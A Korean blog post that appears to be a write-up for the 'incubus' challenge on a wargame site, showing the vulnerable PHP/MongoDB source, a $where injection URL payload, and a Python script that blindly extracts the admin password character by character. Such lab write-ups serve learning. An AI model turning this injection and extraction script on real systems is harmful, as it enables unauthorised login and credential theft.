일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | |||||
3 | 4 | 5 | 6 | 7 | 8 | 9 |
10 | 11 | 12 | 13 | 14 | 15 | 16 |
17 | 18 | 19 | 20 | 21 | 22 | 23 |
24 | 25 | 26 | 27 | 28 | 29 | 30 |
- Database
- webhacking 처음
- 네이버 인턴
- 인턴 후기
- reversing.kr
- 행정지역 DB
- ㅁㅇㅂ??ㅇㅈㄷ ㅎㅇㅌ...
- restapi
- riceteacatpanda
- 소개딩
- Layered Architecture
- SessionAttribute
- JSTL
- 3단계 지역 DB
- EER
- frontend
- Forensic 절차
- 정보보호병 후기
- DBMS
- 소프트웨어 개발보안 경진대회
- 메모리 포랜식
- Django
- spring
- 인턴 지원
- mysql
- 방명록 만들기
- PyAmdecoder
- jsp
- react
- 동읍면 DB
- Today
- Total
웹찢남
Incubus-writeup 본문
<?php
include "./config.php";
login_chk();
$db = mongodb_connect();
if(preg_match('/prob|_|\(/i', $_GET['id'])) exit("No Hack ~_~");
if(preg_match('/prob|_|\(/i', $_GET['pw'])) exit("No Hack ~_~");
$query = array("\$where" => "function(){return obj.id=='{$_GET['id']}'&&obj.pw=='{$_GET['pw']}';}");
echo "<hr>query : <strong>".json_encode($query)."</strong><hr><br>";
$result = mongodb_fetch_array($db->prob_incubus->find($query));
if($result['id']) echo "<h2>Hello {$result['id']}</h2>";
$query = array("id" => "admin");
$result = mongodb_fetch_array($db->prob_incubus->find($query));
if($result['pw'] === $_GET['pw']) solve("incubus");
highlight_file(__FILE__);
?>
이번 문제는 딱보고 든 생각이 지난 문제랑 비슷한데? 였는데 역시나 아니었다 ㅎ...
https://los.rubiya.kr/chall/incubus_3dff9ce783c9f574edf015a7b99450d7.php?id[$gt]=admin&pw=123
query : {"$where":"function(){return obj.id=='Array'&&obj.pw=='123';}"}
아까처럼 풀어보려고 했는데 역시나 obj.id=='Array' 이런 식으로 나온다..
근데 그러고 보니 이번 문제는 "로 묶이지 않고 '로 묶였다!!
이러면 '로 앞 내용을 묶어버리고 뒤에 내용을 추가 할 수 있겠다는 생각이 들어서 아래와 같은 payload를 보내니
https://los.rubiya.kr/chall/incubus_3dff9ce783c9f574edf015a7b99450d7.php?id[$gt]=admin&pw=%27%20||%20obj.id==%27admin%27%20%26%26%20obj.pw%3E=%27111
Hello admin
나왔다! 이런 식으로 접근하면 되겠구나 하며 스크립트를 작성했다.
import re
import requests
import time
test='0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
flag = ''
length= 0
session =dict(PHPSESSID="자신의PHPSESSID")
for i in range (1,20):
for j in test:
r=requests.post("https://los.rubiya.kr/chall/incubus_3dff9ce783c9f574edf015a7b99450d7.php?id=admin&pw=%27%20||%20obj.id==%27admin%27%20%26%26%20obj.pw>=%27"+flag+j,cookies=session)
if 'Hello admin' not in r.text:
if j.isdigit():
flag=flag+str(int(j)-1)
print("finding pw: "+flag)
break
else:
flag=flag+chr(ord(j)-0x01)
print("finding pw: "+flag)
break
print("pw "+flag)
CLEAR!!!
하나 남았다!!!
'WEB_HACKING > los.rubiya.kr' 카테고리의 다른 글
ALLCLEAR!!!-writeup (0) | 2020.01.31 |
---|---|
siren-writeup (0) | 2020.01.31 |
cerberus-writeup (0) | 2020.01.31 |
Kraken-writeup (0) | 2020.01.31 |
mummy-writeup (0) | 2020.01.31 |